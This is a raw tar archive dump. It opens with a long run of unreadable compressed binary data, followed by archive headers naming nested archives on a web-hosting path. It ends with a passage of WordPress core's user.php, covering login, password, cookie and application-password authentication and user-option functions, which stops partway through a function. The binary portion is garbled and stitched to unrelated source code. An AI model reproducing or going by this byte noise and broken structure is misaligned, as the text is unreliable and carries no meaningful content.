	ʼn�v�Ȣ�%	U�`�S��`#���nV�j�Pb����ƹ���`IcH���"H!I1`� q13���4$� f�E��C��C���`�Sb�2��aD��̽�a$!f�=2g21b��C����Y�5,myq+PC._,J�Y��")��C�#)�-3�9Yq1��ENVA�r�p�27}"C�|����p՜m�H@��2���!�L�
�r�P®Y��赽�hsC��BV(M,�>��F�0#R2IJAH�I̜5h6q鈝�k[4M�h�J��,l%�$q��`'	"��f{���Q�2G��a1F�7�3��"�b��ࠉC���HF21bV;2o��H �����eBQ�U�Wm��p�E�7G?�[�^��'R�r�]	np�M]A�ȡ���F�#��l�އ�?����S�Y:2H=�d�CO�/qz��c�\1�\(��7	�̅T����W�",��_�&0�,0CI�4�����L�ڻ��0��niH#�Y���}���J�K=�R�ӚE�4iqK�@��D)ᷡǢ��$kr���g��knEFM=i�,� �#��47�b֘�!�"f�=Z��!��'Ca�@���<0>O*Iܶ����HE�2�۽:!������Up����صu=Үb�K����L C�l!ER�,�_,I�J�0 _A��!�!!f�� @$�$f���Q��_}5�"q13��
�!�[��F�#�81Si�nj����'R��w�k|S��]��_��U�W��A;�JLbu���j�=]�EAW���r�*�F�8k�b�A�X�T��'�:�BM���]�N�,UQ������j��g���̦ʪ����*����8�Tx��Vj�;��=]S�lfRs`zm��'��Q��{�f��58��k�Z�R+u�����H.�����+u�Pzb��6�ur���[r{Y��#��Xz��mO����M]t`ɑ:���n?���QǤ�^��c��=�#c����+�Om�:�6!�*F��ȷ'+��n���jc�i�4��䠆��U��%�(�N�:}_V�T��C:�sIM��$����_/4��xXg�8�8կ�1�]%��?��ܮI�~v�Y��Zg��?:���a��knp㘙;?���'a7�v��tst�ܪ]
�~l��ʗ������<_M�A�1�A�:q�N�X��(�c��8JRG)��/���D*��E���q��)�"���J�s#8|̫�;�o6T�$N詧US�G���|ٞ5UO$�-|0��a��Z�o�������n��[�+���l?�<����:l$�Vj�R�e��R��d����uf�y
�.ΜVQx�Ě�XӅ�bu��H3�IVd*���[����%�����d�TOE*�R}e�����H�6!����В��+Q�6�r�6�m���v��~�H�R����}�c�D���n�d�4E)ȔL�אJ����u�kf#��m���\"o��p�_K�Ý�w	>X�YMV���Q��,;6�(r�ﱱm��hc;�Z�p��F3������X����:��?H+��ʍU�ܶD���ɺ��D
��P��e�C&I���2�����q�mxd�2�96�J�=!��&*�XP6u	�7��$��bCXIVIn�
nP�E]�*z8��Q�[f�iH��ƌ"h��R���&Y�&՚�%��*�w[K:M"2�tE0��JV��k�.[H$����f	����HD"E1��
e��
�^0O$����ׯO{z��!�����N�$���s��F)���?���$�K��HgY��c�Y�{�l&��72Il2�)����C\&R��U�)	�?��8G)S�Qj��ɱ�����%W.ۊ+�@TIUZ�����0�E�t�=X<E�K]��GF'�d�F��t�g:�}gF�%K���"�v��~x=}�f�sY�d�Q�9���R`\�Q�Ŗ�z�%-��ks����ƾ�\��|�x�*3�&�|�a�u�e��'��&���M!�d��-ZO`W�ԍ��ɮrI�c��b�{�H'q�XaJ���En�Rw숃 k��)‘��k)8x�ȓv�64
��nރ��l��|�<2�I#2ɕM��X;�����8=��9'��>�)��� h MB%�*5����
wn\̮"6�X��/��~(�^��A��E7+�}Ehad�l"���e5,:�b�q�z�\T��_�ޯ6��{�p�k8霾v�k�S`��e���͂֫���n���3sޣ8�B
�݄��An}{\ ��b�g)���M�fY;p#��v�x7��#n,��q�F7z��-�
��57��wf����|�qc5�#�fs� wdp�ml���MĮ$|3ƚϡ�$��n�
�4p#�n�Ε$~b$���a�7B�a�$�s%	D�̓�Ir}����|�
�~��_�	�0�7�F7̂��F7�z��n����c�A��<��4���n�p�,h=%�ċ��C�q*7����n�BWurZ���Oίԗ�yQ���A��u'����m3zS,}�ޟ�|3LW���j�����~n�ɪk�Eߏ�|�O�M�C��f�v��ig�d��ֵ�O�bV]N��	�&E�a2���=;��'�����O��ꉷ.M|��T=��uۜ�}:��&z�aY|��몞}۵˯��Y��	�'��G�hf
���]1���v���!s�pì�1�W��H �YP
�!�0��������p��:��
��\��䰳�N��U��cn��U�U2�q̸	�f9�ɱ��AS��f�������BK�粏S
�vh����4�����{�����*=���U�.&֖��y���)�#�}�����(�����}3���_
���
�<����@�?�n�$?tE�:��6��n�P	n�
��J�9��A��<�fa����=ȑ@�T�92�ᖢ7B��V2�X<�}7�&����I����1�y7̢��TB�a=7B�a���
�j.������*\�B33�J7;L��j��>�b6�����7��z�r�j^�=x��\�W�q;z)��o�]ItA����i��)���Z89�~�#���;'b�ɕ�%��c�/W���oE��7D�w���ޓ�׏|�M�uא�(�C�E1��X׳����ʏ�1��ʹ����M�zMQOg�|R�gaY��y��ω?C	�h��1`,[Xv�s_���aAL�Ջ-3U���>,|0�
fק��x>����b�=��Lź�uu�/}9]��0�ѝ��ȢnL���Uh��e�D��
��x�'%=� OK�Z
�d��UY�����7?����>�l��p9손J t�t�˔ �nE(Jw����|X�5:y~rR�M?t�rx�5bڒ��rU4��s�mA.�f��H�/8���ݲ�71��o�ϋ�OUC� �,���r\�?�Z���7����~�d_-���7��A�4L�4;��?�˾��r:?��:	Y�q�=d�m0�5�F�.g��[�x����rYo��;@�ݸ���T:ÐcW��2�l�(���y]�w�����v�v<s��е
�%�aOO�)
�3z�� tڕ��(��FM�YՆ��8�����		�����M�-�ԤScRdק]��(z:��E]͈�7��&��yh�cQ�{N#h����$<_��}$l2��U3]7���zEr���`q�*��=]��:��.NfU9����nYzzQl��!��iS�=#�r�z_M�b2tdO���Bo?]��t��	��t=�_���n��aZ�ô[�^E4���"
���]�g/jE%�ph�]6�y.{�Z�g�\�k��`a�Ȓ��H�2�6��x��6t�����7�ts��-�����.�~B��><��0�bsP܁Js�l8�o�Z��P���a�ǧp�nt�m��t:��8�p�����Ǜ����lho�� ��]54��>܅q���};��E�rP���g��[�=O�
G�_����CLݸRN�6J��,$Y6��ª��%��;As%w�z��x_(�|'�t��\3k�Yy��Ȱ�o��=���s�,�Xk���$�Y���K�o���g]=J��|/(����.���1�hc'���
7�~�/���14338/hoverIntent.js.js.tar.gz000064400000005014151024420100011675 0ustar00��YQsܶγ���x6�;)��JQ���Nݙ�m��H��D����#h<�����$@�d;I���#�.v?|���Z�Z���}5˵\��J���Mm��B�׹j*��r������˦fvef+��eeEe�+������ɓ������ïw8?zrt���Ə�<��6�!�?�4�r
*����٣���b�6���<;b�;�ͳ����v��F�-~���2k����RK^�+�+�-�]5��T���8� =�5��\5lͷ�1����
��]	f�^�����7���J#2�72�e��Oܢ�5 հ-��Z0�2,W#�ܰRUK�kWҰ��~�ba��,�m��^�z��rea��gG��?��p��m��<�=z4t�2r-K��等a��,-��O���`�RrQ�n�2l�M/���G{_�(Q[4Un���\�E!��6����e�zn���

v��`Ju#
V���%�pڹ]�L>�Vn�ݒ��J�Ŕ]��B���<{�|���J_U����*�y��PJ����0v����R�,���O�5��V�)N̢m'AN[��{����X!J�丣��T��K�[�?e�`�7�1���U���F�	L]^���T7���k�fxX���+t���[יX�<����.d%�XN7�E�G�y�A����(%�v�h%)��V�����5+Yp������f�7V��NNhAb���s崲��S6iL��_�_�|�h�v�l�.e�6'���҈X�ZM�58��|7������:�_�i�!��}#�HZ�ӱN�� ��U��XO+�Mle=��O>��C\�7xS�x6�l��9ཟ��6��

����|�v����a�B��{���������@~[m�
�h^~O�<_�B2�I/_���?���?_����Fk<�g �`�Vh����˔5uZ�,b>]����<�ơĬ ���Z�`��	�Y�����0D���"Gr�t!+Pm�	@<⊥^�� ��4�Q��6�b� ?�ob��tg'a�<���=���v�Ƣ�j-6��Y��; ���ے>ejRIlU�1�%��CQ��j�+�X].������P���Y.3�5�eb��� ?�>�~��4z~���Q�Ŧ�[�f`Yl;>��L-����R�'�9ȖV�y��,����9��mX�XĩtQk���P%I`�xѲv�iO�ɤy�D�ŒF�,@�7Z�V�.���ra�IJ�k�Y�|�{�[ȁ�줃������CG�@u�Z{��	k�{k^µ���(��Ռ�u�M |o��ҷb�.
����]Q�{�S��cY���6��l�މyE�8���*-��-ȩ�aa:N5T��H
ڥP'|�da�_���M�� HC-�4CTt��`wo�k����O<��v(\R����я�5���G���P��<��΅��"��G��FJ�CDG:yh+vQ���-MFX���ş�$:|�hH8ax�=���[8[Ż��#ȁ�{�S-U����Ѽ�gh�4n�m���Vz�6�σ�o��A�nT�E݀���9u	Y�]�-��Nc�i	��ϵ���}QZab�L�[+���O���x;�4
P�isw�B�`$U�Nmz�\9�0s��ۻ�J�:`�4+��^5gMG�b ^�P�����N���C�^2~Db�חv7�6I��<�o)a�m�n�z���ܱO��P��AW����Sny	!����c��}�C�S���#���(��
�J�pjn���V���2_�����.���KA�ૄz��>��=b3��F��[����%�2����v����*���H����&X��P��F#f��˻*Fᙆ����_�JQ�5�ŒF¾�L���7X��gqʒ���;�b�{��{�ў��߲K'�t�۷�������]}d&y/����8�ӻ]�s�]ia�0��	�xL�Z�D���>�bTv�ߴXZN�n�b���mJ��m�gid[�x�Y�i;)տ���MdZQEwN�m���(ݧ��;*�ڊ���7T´qT$�v�jWk�꼶�jp<pJ�8L��C���� k�
�M��|ֺpVWe�jYR՚#\��B��a�Aym�8\�W�-�h����07U�:n�G�&L�(�Z�M�Oq���<'aLd_��3
]9v`Xb���aWq�fj�+w�BJ��QX�K����F�CXZ�cT\�we�H>6.�-N��Wa?���������<���]'���˄�%��}��>fK������f��;�$<�i��ǎ��uG�5%6��Qĭ8�?���b�O�X���i?4I���f����/ZS]�
��Q��F켬��P�X4�$�FBO�|V�ա��W�1>����\H�3ɯ�-ō��.vm~�.��ƥDƫ��[<$!��.*0�m�5=~;�J�t�;�.�W_����;�����������|y~��o:�a$14338/user.php.tar000064400000533000151024420100007470 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/user.php000064400000527317151024200110023044 0ustar00<?php
/**
 * Core User API
 *
 * @package WordPress
 * @subpackage Users
 */

/**
 * Authenticates and logs a user in with 'remember' capability.
 *
 * The credentials is an array that has 'user_login', 'user_password', and
 * 'remember' indices. If the credentials is not given, then the log in form
 * will be assumed and used if set.
 *
 * The various authentication cookies will be set by this function and will be
 * set for a longer period depending on if the 'remember' credential is set to
 * true.
 *
 * Note: wp_signon() doesn't handle setting the current user. This means that if the
 * function is called before the {@see 'init'} hook is fired, is_user_logged_in() will
 * evaluate as false until that point. If is_user_logged_in() is needed in conjunction
 * with wp_signon(), wp_set_current_user() should be called explicitly.
 *
 * @since 2.5.0
 *
 * @global string $auth_secure_cookie
 * @global wpdb   $wpdb               WordPress database abstraction object.
 *
 * @param array       $credentials {
 *     Optional. User info in order to sign on.
 *
 *     @type string $user_login    Username.
 *     @type string $user_password User password.
 *     @type bool   $remember      Whether to 'remember' the user. Increases the time
 *                                 that the cookie will be kept. Default false.
 * }
 * @param string|bool $secure_cookie Optional. Whether to use secure cookie.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_signon( $credentials = array(), $secure_cookie = '' ) {
	global $auth_secure_cookie, $wpdb;

	if ( empty( $credentials ) ) {
		$credentials = array(
			'user_login'    => '',
			'user_password' => '',
			'remember'      => false,
		);

		if ( ! empty( $_POST['log'] ) && is_string( $_POST['log'] ) ) {
			$credentials['user_login'] = wp_unslash( $_POST['log'] );
		}
		if ( ! empty( $_POST['pwd'] ) && is_string( $_POST['pwd'] ) ) {
			$credentials['user_password'] = $_POST['pwd'];
		}
		if ( ! empty( $_POST['rememberme'] ) ) {
			$credentials['remember'] = $_POST['rememberme'];
		}
	}

	if ( ! empty( $credentials['remember'] ) ) {
		$credentials['remember'] = true;
	} else {
		$credentials['remember'] = false;
	}

	/**
	 * Fires before the user is authenticated.
	 *
	 * The variables passed to the callbacks are passed by reference,
	 * and can be modified by callback functions.
	 *
	 * @since 1.5.1
	 *
	 * @todo Decide whether to deprecate the wp_authenticate action.
	 *
	 * @param string $user_login    Username (passed by reference).
	 * @param string $user_password User password (passed by reference).
	 */
	do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );

	if ( '' === $secure_cookie ) {
		$secure_cookie = is_ssl();
	}

	/**
	 * Filters whether to use a secure sign-on cookie.
	 *
	 * @since 3.1.0
	 *
	 * @param bool  $secure_cookie Whether to use a secure sign-on cookie.
	 * @param array $credentials {
	 *     Array of entered sign-on data.
	 *
	 *     @type string $user_login    Username.
	 *     @type string $user_password Password entered.
	 *     @type bool   $remember      Whether to 'remember' the user. Increases the time
	 *                                 that the cookie will be kept. Default false.
	 * }
	 */
	$secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );

	// XXX ugly hack to pass this to wp_authenticate_cookie().
	$auth_secure_cookie = $secure_cookie;

	add_filter( 'authenticate', 'wp_authenticate_cookie', 30, 3 );

	$user = wp_authenticate( $credentials['user_login'], $credentials['user_password'] );

	if ( is_wp_error( $user ) ) {
		return $user;
	}

	wp_set_auth_cookie( $user->ID, $credentials['remember'], $secure_cookie );

	// Clear `user_activation_key` after a successful login.
	if ( ! empty( $user->user_activation_key ) ) {
		$wpdb->update(
			$wpdb->users,
			array(
				'user_activation_key' => '',
			),
			array( 'ID' => $user->ID )
		);

		$user->user_activation_key = '';
	}

	/**
	 * Fires after the user has successfully logged in.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $user_login Username.
	 * @param WP_User $user       WP_User object of the logged-in user.
	 */
	do_action( 'wp_login', $user->user_login, $user );

	return $user;
}

/**
 * Authenticates a user, confirming the username and password are valid.
 *
 * @since 2.8.0
 *
 * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
 * @param string                $username Username for authentication.
 * @param string                $password Password for authentication.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_authenticate_username_password(
	$user,
	$username,
	#[\SensitiveParameter]
	$password
) {
	if ( $user instanceof WP_User ) {
		return $user;
	}

	if ( empty( $username ) || empty( $password ) ) {
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$error = new WP_Error();

		if ( empty( $username ) ) {
			$error->add( 'empty_username', __( '<strong>Error:</strong> The username field is empty.' ) );
		}

		if ( empty( $password ) ) {
			$error->add( 'empty_password', __( '<strong>Error:</strong> The password field is empty.' ) );
		}

		return $error;
	}

	$user = get_user_by( 'login', $username );

	if ( ! $user ) {
		return new WP_Error(
			'invalid_username',
			sprintf(
				/* translators: %s: User name. */
				__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site. If you are unsure of your username, try your email address instead.' ),
				$username
			)
		);
	}

	/**
	 * Filters whether the given user can be authenticated with the provided password.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_User|WP_Error $user     WP_User or WP_Error object if a previous
	 *                                   callback failed authentication.
	 * @param string           $password Password to check against the user.
	 */
	$user = apply_filters( 'wp_authenticate_user', $user, $password );
	if ( is_wp_error( $user ) ) {
		return $user;
	}

	$valid = wp_check_password( $password, $user->user_pass, $user->ID );

	if ( ! $valid ) {
		return new WP_Error(
			'incorrect_password',
			sprintf(
				/* translators: %s: User name. */
				__( '<strong>Error:</strong> The password you entered for the username %s is incorrect.' ),
				'<strong>' . $username . '</strong>'
			) .
			' <a href="' . wp_lostpassword_url() . '">' .
			__( 'Lost your password?' ) .
			'</a>'
		);
	}

	if ( wp_password_needs_rehash( $user->user_pass, $user->ID ) ) {
		wp_set_password( $password, $user->ID );
	}

	return $user;
}

/**
 * Authenticates a user using the email and password.
 *
 * @since 4.5.0
 *
 * @param WP_User|WP_Error|null $user     WP_User or WP_Error object if a previous
 *                                        callback failed authentication.
 * @param string                $email    Email address for authentication.
 * @param string                $password Password for authentication.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_authenticate_email_password(
	$user,
	$email,
	#[\SensitiveParameter]
	$password
) {
	if ( $user instanceof WP_User ) {
		return $user;
	}

	if ( empty( $email ) || empty( $password ) ) {
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$error = new WP_Error();

		if ( empty( $email ) ) {
			// Uses 'empty_username' for back-compat with wp_signon().
			$error->add( 'empty_username', __( '<strong>Error:</strong> The email field is empty.' ) );
		}

		if ( empty( $password ) ) {
			$error->add( 'empty_password', __( '<strong>Error:</strong> The password field is empty.' ) );
		}

		return $error;
	}

	if ( ! is_email( $email ) ) {
		return $user;
	}

	$user = get_user_by( 'email', $email );

	if ( ! $user ) {
		return new WP_Error(
			'invalid_email',
			__( 'Unknown email address. Check again or try your username.' )
		);
	}

	/** This filter is documented in wp-includes/user.php */
	$user = apply_filters( 'wp_authenticate_user', $user, $password );

	if ( is_wp_error( $user ) ) {
		return $user;
	}

	$valid = wp_check_password( $password, $user->user_pass, $user->ID );

	if ( ! $valid ) {
		return new WP_Error(
			'incorrect_password',
			sprintf(
				/* translators: %s: Email address. */
				__( '<strong>Error:</strong> The password you entered for the email address %s is incorrect.' ),
				'<strong>' . $email . '</strong>'
			) .
			' <a href="' . wp_lostpassword_url() . '">' .
			__( 'Lost your password?' ) .
			'</a>'
		);
	}

	if ( wp_password_needs_rehash( $user->user_pass, $user->ID ) ) {
		wp_set_password( $password, $user->ID );
	}

	return $user;
}

/**
 * Authenticates the user using the WordPress auth cookie.
 *
 * @since 2.8.0
 *
 * @global string $auth_secure_cookie
 *
 * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
 * @param string                $username Username. If not empty, cancels the cookie authentication.
 * @param string                $password Password. If not empty, cancels the cookie authentication.
 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
 */
function wp_authenticate_cookie(
	$user,
	$username,
	#[\SensitiveParameter]
	$password
) {
	global $auth_secure_cookie;

	if ( $user instanceof WP_User ) {
		return $user;
	}

	if ( empty( $username ) && empty( $password ) ) {
		$user_id = wp_validate_auth_cookie();
		if ( $user_id ) {
			return new WP_User( $user_id );
		}

		if ( $auth_secure_cookie ) {
			$auth_cookie = SECURE_AUTH_COOKIE;
		} else {
			$auth_cookie = AUTH_COOKIE;
		}

		if ( ! empty( $_COOKIE[ $auth_cookie ] ) ) {
			return new WP_Error( 'expired_session', __( 'Please log in again.' ) );
		}

		// If the cookie is not set, be silent.
	}

	return $user;
}

/**
 * Authenticates the user using an application password.
 *
 * @since 5.6.0
 *
 * @param WP_User|WP_Error|null $input_user WP_User or WP_Error object if a previous
 *                                          callback failed authentication.
 * @param string                $username   Username for authentication.
 * @param string                $password   Password for authentication.
 * @return WP_User|WP_Error|null WP_User on success, WP_Error on failure, null if
 *                               null is passed in and this isn't an API request.
 */
function wp_authenticate_application_password(
	$input_user,
	$username,
	#[\SensitiveParameter]
	$password
) {
	if ( $input_user instanceof WP_User ) {
		return $input_user;
	}

	if ( ! WP_Application_Passwords::is_in_use() ) {
		return $input_user;
	}

	// The 'REST_REQUEST' check here may happen too early for the constant to be available.
	$is_api_request = ( ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) );

	/**
	 * Filters whether this is an API request that Application Passwords can be used on.
	 *
	 * By default, Application Passwords is available for the REST API and XML-RPC.
	 *
	 * @since 5.6.0
	 *
	 * @param bool $is_api_request If this is an acceptable API request.
	 */
	$is_api_request = apply_filters( 'application_password_is_api_request', $is_api_request );

	if ( ! $is_api_request ) {
		return $input_user;
	}

	$error = null;
	$user  = get_user_by( 'login', $username );

	if ( ! $user && is_email( $username ) ) {
		$user = get_user_by( 'email', $username );
	}

	// If the login name is invalid, short circuit.
	if ( ! $user ) {
		if ( is_email( $username ) ) {
			$error = new WP_Error(
				'invalid_email',
				__( '<strong>Error:</strong> Unknown email address. Check again or try your username.' )
			);
		} else {
			$error = new WP_Error(
				'invalid_username',
				__( '<strong>Error:</strong> Unknown username. Check again or try your email address.' )
			);
		}
	} elseif ( ! wp_is_application_passwords_available() ) {
		$error = new WP_Error(
			'application_passwords_disabled',
			__( 'Application passwords are not available.' )
		);
	} elseif ( ! wp_is_application_passwords_available_for_user( $user ) ) {
		$error = new WP_Error(
			'application_passwords_disabled_for_user',
			__( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' )
		);
	}

	if ( $error ) {
		/**
		 * Fires when an application password failed to authenticate the user.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_Error $error The authentication error.
		 */
		do_action( 'application_password_failed_authentication', $error );

		return $error;
	}

	/*
	 * Strips out anything non-alphanumeric. This is so passwords can be used with
	 * or without spaces to indicate the groupings for readability.
	 *
	 * Generated application passwords are exclusively alphanumeric.
	 */
	$password = preg_replace( '/[^a-z\d]/i', '', $password );

	$hashed_passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID );

	foreach ( $hashed_passwords as $key => $item ) {
		if ( ! WP_Application_Passwords::check_password( $password, $item['password'] ) ) {
			continue;
		}

		$error = new WP_Error();

		/**
		 * Fires when an application password has been successfully checked as valid.
		 *
		 * This allows for plugins to add additional constraints to prevent an application password from being used.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_Error $error    The error object.
		 * @param WP_User  $user     The user authenticating.
		 * @param array    $item     The details about the application password.
		 * @param string   $password The raw supplied password.
		 */
		do_action( 'wp_authenticate_application_password_errors', $error, $user, $item, $password );

		if ( is_wp_error( $error ) && $error->has_errors() ) {
			/** This action is documented in wp-includes/user.php */
			do_action( 'application_password_failed_authentication', $error );

			return $error;
		}

		WP_Application_Passwords::record_application_password_usage( $user->ID, $item['uuid'] );

		/**
		 * Fires after an application password was used for authentication.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_User $user The user who was authenticated.
		 * @param array   $item The application password used.
		 */
		do_action( 'application_password_did_authenticate', $user, $item );

		return $user;
	}

	$error = new WP_Error(
		'incorrect_password',
		__( 'The provided password is an invalid application password.' )
	);

	/** This action is documented in wp-includes/user.php */
	do_action( 'application_password_failed_authentication', $error );

	return $error;
}

/**
 * Validates the application password credentials passed via Basic Authentication.
 *
 * @since 5.6.0
 *
 * @param int|false $input_user User ID if one has been determined, false otherwise.
 * @return int|false The authenticated user ID if successful, false otherwise.
 */
function wp_validate_application_password( $input_user ) {
	// Don't authenticate twice.
	if ( ! empty( $input_user ) ) {
		return $input_user;
	}

	if ( ! wp_is_application_passwords_available() ) {
		return $input_user;
	}

	// Both $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'] must be set in order to attempt authentication.
	if ( ! isset( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) ) {
		return $input_user;
	}

	$authenticated = wp_authenticate_application_password( null, $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] );

	if ( $authenticated instanceof WP_User ) {
		return $authenticated->ID;
	}

	// If it wasn't a user what got returned, just pass on what we had received originally.
	return $input_user;
}

/**
 * For Multisite blogs, checks if the authenticated user has been marked as a
 * spammer, or if the user's primary blog has been marked as spam.
 *
 * @since 3.7.0
 *
 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
 * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
 */
function wp_authenticate_spam_check( $user ) {
	if ( $user instanceof WP_User && is_multisite() ) {
		/**
		 * Filters whether the user has been marked as a spammer.
		 *
		 * @since 3.7.0
		 *
		 * @param bool    $spammed Whether the user is considered a spammer.
		 * @param WP_User $user    User to check against.
		 */
		$spammed = apply_filters( 'check_is_user_spammed', is_user_spammy( $user ), $user );

		if ( $spammed ) {
			return new WP_Error( 'spammer_account', __( '<strong>Error:</strong> Your account has been marked as a spammer.' ) );
		}
	}
	return $user;
}

/**
 * Validates the logged-in cookie.
 *
 * Checks the logged-in cookie if the previous auth cookie could not be
 * validated and parsed.
 *
 * This is a callback for the {@see 'determine_current_user'} filter, rather than API.
 *
 * @since 3.9.0
 *
 * @param int|false $user_id The user ID (or false) as received from
 *                           the `determine_current_user` filter.
 * @return int|false User ID if validated, false otherwise. If a user ID from
 *                   an earlier filter callback is received, that value is returned.
 */
function wp_validate_logged_in_cookie( $user_id ) {
	if ( $user_id ) {
		return $user_id;
	}

	if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
		return false;
	}

	return wp_validate_auth_cookie( $_COOKIE[ LOGGED_IN_COOKIE ], 'logged_in' );
}

/**
 * Gets the number of posts a user has written.
 *
 * @since 3.0.0
 * @since 4.1.0 Added `$post_type` argument.
 * @since 4.3.0 Added `$public_only` argument. Added the ability to pass an array
 *              of post types to `$post_type`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int          $userid      User ID.
 * @param array|string $post_type   Optional. Single post type or array of post types to count the number of posts for. Default 'post'.
 * @param bool         $public_only Optional. Whether to only return counts for public posts. Default false.
 * @return string Number of posts the user has written in this post type.
 */
function count_user_posts( $userid, $post_type = 'post', $public_only = false ) {
	global $wpdb;

	$post_type = array_unique( (array) $post_type );
	sort( $post_type );

	$where = get_posts_by_author_sql( $post_type, true, $userid, $public_only );
	$query = "SELECT COUNT(*) FROM $wpdb->posts $where";

	$last_changed = wp_cache_get_last_changed( 'posts' );
	$cache_key    = 'count_user_posts:' . md5( $query ) . ':' . $last_changed;
	$count        = wp_cache_get( $cache_key, 'post-queries' );
	if ( false === $count ) {
		$count = $wpdb->get_var( $query );
		wp_cache_set( $cache_key, $count, 'post-queries' );
	}

	/**
	 * Filters the number of posts a user has written.
	 *
	 * @since 2.7.0
	 * @since 4.1.0 Added `$post_type` argument.
	 * @since 4.3.1 Added `$public_only` argument.
	 *
	 * @param int          $count       The user's post count.
	 * @param int          $userid      User ID.
	 * @param string|array $post_type   Single post type or array of post types to count the number of posts for.
	 * @param bool         $public_only Whether to limit counted posts to public posts.
	 */
	return apply_filters( 'get_usernumposts', $count, $userid, $post_type, $public_only );
}

/**
 * Gets the number of posts written by a list of users.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int[]           $users       Array of user IDs.
 * @param string|string[] $post_type   Optional. Single post type or array of post types to check. Defaults to 'post'.
 * @param bool            $public_only Optional. Only return counts for public posts.  Defaults to false.
 * @return string[] Amount of posts each user has written, as strings, keyed by user ID.
 */
function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
	global $wpdb;

	if ( empty( $users ) || ! is_array( $users ) ) {
		return array();
	}

	/**
	 * Filters whether to short-circuit performing the post counts.
	 *
	 * When filtering, return an array of posts counts as strings, keyed
	 * by the user ID.
	 *
	 * @since 6.8.0
	 *
	 * @param string[]|null   $count       The post counts. Return a non-null value to short-circuit.
	 * @param int[]           $users       Array of user IDs.
	 * @param string|string[] $post_type   Single post type or array of post types to check.
	 * @param bool            $public_only Whether to only return counts for public posts.
	 */
	$pre = apply_filters( 'pre_count_many_users_posts', null, $users, $post_type, $public_only );
	if ( null !== $pre ) {
		return $pre;
	}

	$userlist = implode( ',', array_map( 'absint', $users ) );
	$where    = get_posts_by_author_sql( $post_type, true, null, $public_only );

	$result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );

	$count = array_fill_keys( $users, 0 );
	foreach ( $result as $row ) {
		$count[ $row[0] ] = $row[1];
	}

	return $count;
}

//
// User option functions.
//

/**
 * Gets the current user's ID.
 *
 * @since MU (3.0.0)
 *
 * @return int The current user's ID, or 0 if no user is logged in.
 */
function get_current_user_id() {
	if ( ! function_exists( 'wp_get_current_user' ) ) {
		return 0;
	}
	$user = wp_get_current_user();
	return ( isset( $user->ID ) ? (int) $user->ID : 0 );
}

/**
 * Retrieves user option that can be either per Site or per Network.
 *
 * If the user ID is not given, then the current user will be used instead. If
 * the user ID is given, then the user data will be retrieved. The filter for
 * the result, will also pass the original option name and finally the user data
 * object as the third parameter.
 *
 * The option will first check for the per site name and then the per Network name.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option     User option name.
 * @param int    $user       Optional. User ID.
 * @param string $deprecated Use get_option() to check for an option in the options table.
 * @return mixed User option value on success, false on failure.
 */
function get_user_option( $option, $user = 0, $deprecated = '' ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '3.0.0' );
	}

	if ( empty( $user ) ) {
		$user = get_current_user_id();
	}

	$user = get_userdata( $user );
	if ( ! $user ) {
		return false;
	}

	$prefix = $wpdb->get_blog_prefix();
	if ( $user->has_prop( $prefix . $option ) ) { // Blog-specific.
		$result = $user->get( $prefix . $option );
	} elseif ( $user->has_prop( $option ) ) { // User-specific and cross-blog.
		$result = $user->get( $option );
	} else {
		$result = false;
	}

	/**
	 * Filters a specific user option value.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the user option name.
	 *
	 * @since 2.5.0
	 *
	 * @param mixed   $result Value for the user's option.
	 * @param string  $option Name of the option being retrieved.
	 * @param WP_User $user   WP_User object of the user whose option is being retrieved.
	 */
	return apply_filters( "get_user_option_{$option}", $result, $option, $user );
}

/**
 * Updates user option with global blog capability.
 *
 * User options are just like user metadata except that they have support for
 * global blog options. If the 'is_global' parameter is false, which it is by default,
 * it will prepend the WordPress table prefix to the option name.
 *
 * Deletes the user option if $newvalue is empty.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id     User ID.
 * @param string $option_name User option name.
 * @param mixed  $newvalue    User option value.
 * @param bool   $is_global   Optional. Whether option name is global or blog specific.
 *                            Default false (blog specific).
 * @return int|bool User meta ID if the option didn't exist, true on successful update,
 *                  false on failure.
 */
function update_user_option( $user_id, $option_name, $newvalue, $is_global = false ) {
	global $wpdb;

	if ( ! $is_global ) {
		$option_name = $wpdb->get_blog_prefix() . $option_name;
	}

